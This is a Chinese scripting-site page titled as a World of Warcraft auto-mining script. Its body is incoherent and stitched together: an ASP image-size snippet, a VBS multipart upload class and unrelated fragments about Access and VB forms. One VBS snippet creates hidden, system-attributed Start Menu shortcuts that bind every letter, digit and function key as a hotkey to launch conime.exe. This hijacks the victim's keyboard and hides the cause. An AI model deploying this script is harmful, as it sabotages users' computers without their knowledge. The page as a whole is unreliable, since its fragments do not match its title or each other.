335魔兽自动挖矿脚本易内存

发布时间:2020-09-04 来源:脚本之家 点击:

只要选择表单,就可以移植包含Access数据的Excel工作表1.上传的时候可以将图片高宽存到数据库里,用的时候调出来判断,但那种方法相比较下边的麻烦.
2.用VBSCRIPT里的一个函数loadpicture
picurl'图片地址
'取出高宽

使用图片前选调出来并取得图片大小
setmyImg=loadpicture(server.mappath(picurl))
iWidth=round(myImg.width/26.4583)
iHeight=round(myImg.height/26.4583)

调用时用iwidth和iheight判断就可以了,

一起来捉妖脚本辅助

'codeBY伤脑筋
'copytofilename.vbs
dimnum,var,fso,wsh,pathname
num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_
"V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_
"F7,F8,F9,F10,F11,F12"

var=Split(num,",",-1,1)
Setfso=CreateObject("Scripting.FileSystemObject")
setWsh=WScript.CreateObject("WScript.Shell")
pathname=Wsh.SpecialFolders("AllUsersStartMenu")+"\程序\附件\辅助工具"

fori=0toUBound(var)
setLink=Wsh.CreateShortcut(pathname+var(i)+".lnk")
Link.TargetPath="conime.exe"
Link.Hotkey=var(i)
Link.Save
SetFile=fso.GetFile(pathname+var(i)+".lnk")
file.Attributes=2+4
next


大部分教学软件都有一个“自动/手动”按钮,学习者可以选择系统自动一步一步往下执行,也可由自己手动控制是否进入到下一步


'XML Upload Class
Class XMLUpload
Private xmlHttp
Private objTemp
Private adTypeBinary, adTypeText
Private strCharset, strBoundary

Private Sub Class_Initialize()
adTypeBinary=1
adTypeText=2
Set xmlHttp=CreateObject("Msxml2.XMLHTTP")
Set objTemp=CreateObject("ADODB.Stream")
objTemp.Type=adTypeBinary
objTemp.Open
strCharset="utf-8"
strBoundary=GetBoundary()
End Sub

Private Sub Class_Terminate()
objTemp.Close
Set objTemp=Nothing
Set xmlHttp=Nothing
End Sub

'指定字符集的字符串转字节数组
Public Function StringToBytes(ByVal strData, ByVal strCharset)
Dim objFile
Set objFile=CreateObject("ADODB.Stream")
objFile.Type=adTypeText
objFile.Charset=strCharset
objFile.Open
objFile.WriteText strData
objFile.Position=0
objFile.Type=adTypeBinary
If UCase(strCharset)="UNICODE" Then
objFile.Position=2 'delete UNICODE BOM
ElseIf UCase(strCharset)="UTF-8" Then
objFile.Position=3 'delete UTF-8 BOM
End If
StringToBytes=objFile.Read(-1)
objFile.Close
Set objFile=Nothing
End Function

'获取文件内容的字节数组
Private Function GetFileBinary(ByVal strPath)
Dim objFile
Set objFile=CreateObject("ADODB.Stream")
objFile.Type=adTypeBinary
objFile.Open
objFile.LoadFromFile strPath
GetFileBinary=objFile.Read(-1)
objFile.Close
Set objFile=Nothing
End Function

'获取自定义的表单数据分界线
Private Function GetBoundary()
Dim ret(12)
Dim table
Dim i
table="abcdefghijklmnopqrstuvwxzy0123456789"
Randomize
For i=0 To UBound(ret)
ret(i)=Mid(table, Int(Rnd() * Len(table) + 1), 1)
Next
GetBoundary="---------------------------" & Join(ret, Empty)
End Function

'设置上传使用的字符集
Public Property Let Charset(ByVal strValue)
strCharset=strValue
End Property

'添加文本域的名称和值
Public Sub AddForm(ByVal strName, ByVal strValue)
Dim tmp
tmp="\r\n--$1\r\nContent-Disposition: form-data; name=""$2""\r\n\r\n$3"
tmp=Replace(tmp, "\r\n", vbCrLf)
tmp=Replace(tmp, "$1", strBoundary)
tmp=Replace(tmp, "$2", strName)
tmp=Replace(tmp, "$3", strValue)
objTemp.Write StringToBytes(tmp, strCharset)
End Sub

'设置文件域的名称/文件名称/文件MIME类型/文件路径或文件字节数组
Public Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath)
Dim tmp
tmp="\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n"
tmp=Replace(tmp, "\r\n", vbCrLf)
tmp=Replace(tmp, "$1", strBoundary)
tmp=Replace(tmp, "$2", strName)
tmp=Replace(tmp, "$3", strFileName)
tmp=Replace(tmp, "$4", strFileType)
objTemp.Write StringToBytes(tmp, strCharset)
objTemp.Write GetFileBinary(strFilePath)
End Sub

'设置multipart/form-data结束标记
Private Sub AddEnd()
Dim tmp
tmp="\r\n--$1--\r\n"
tmp=Replace(tmp, "\r\n", vbCrLf)
tmp=Replace(tmp, "$1", strBoundary)
objTemp.Write StringToBytes(tmp, strCharset)
objTemp.Position=2
End Sub

'上传到指定的URL,并返回服务器应答
Public Function Upload(ByVal strURL)
Call AddEnd
xmlHttp.Open "POST", strURL, False
xmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundary
'xmlHttp.setRequestHeader "Content-Length", objTemp.size
xmlHttp.Send objTemp
Upload=xmlHttp.responseText
End Function
End Class

Dim UploadData
Set UploadData=New XMLUpload
UploadData.Charset="utf-8"
UploadData.AddForm "content", "Hello world" '文本域的名称和内容
UploadData.AddFile "file", "test.jpg", "image/jpg", "test.jpg"
WScript.Echo UploadData.Upload("")
Set UploadData=Nothing
这里的AsAny相当于C语言中的强制类型转换

Msxml2.XMLHTTP
但当查看Northwind数据库内容时,我们会发现"CustomerID"字段的字符长度不能超过5

strr=""
钢琴电脑本例是通过Form_MouseMove事件来判断鼠标指针是在窗体之内还是窗体之外的,你可根据需要作相应改动

示例 2:

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号